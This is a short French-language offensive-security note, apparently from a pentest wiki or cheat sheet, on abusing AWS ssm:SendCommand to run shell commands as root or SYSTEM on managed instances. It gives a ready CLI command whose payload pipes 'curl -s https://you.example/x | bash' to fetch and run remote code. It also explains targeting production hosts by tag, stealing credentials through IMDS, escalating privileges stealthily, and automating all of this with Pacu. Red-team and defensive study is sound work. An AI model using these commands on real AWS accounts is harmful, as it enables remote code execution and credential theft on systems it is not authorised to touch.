ssm:SendCommand exécute une commande shell sur n'importe quelle instance managée par SSM via le document AWS-RunShellScript (Linux) ou AWS-RunPowerShellScript (Windows). La commande s'exécute en tant qu'agent SSM, c'est-à-dire root ou SYSTEM, de sorte qu'un seul appel d'API, sans aucun chemin réseau vers l'hôte, donne une exécution de code complète.
Exécuter une commande#
aws ssm send-command \
--document-name AWS-RunShellScript \
--targets Key=InstanceIds,Values=<id1>,<id2> \
--parameters 'commands=["id","curl -s https://you.example/x | bash"]'
# fetch the output
aws ssm list-command-invocations --command-id <cid> --details
Ciblez plusieurs hôtes à la fois avec un filtre de tag : --targets Key=tag:Env,Values=prod.
Notes d'exploitation#
- L'exécution en tant que root livre à la fois les secrets présents sur la machine et le rôle du profil d'instance via IMDS, c'est donc un chemin de vol de credentials autant qu'un chemin d'exécution.
- Elle ne nécessite ni accès entrant ni clé, seulement la permission d'API et une instance managée par l'agent, ce qui la rend discrète par rapport à SSH.
ssm:SendCommandest un levier d'escalade de privilèges connu lorsque le rôle d'instance est plus privilégié que l'appelant.
Outils#
- AWS CLI (
ssm send-command,list-command-invocations) : exécuter et lire. - Pacu (
ssm__send_command) : automatiser sur les instances découvertes.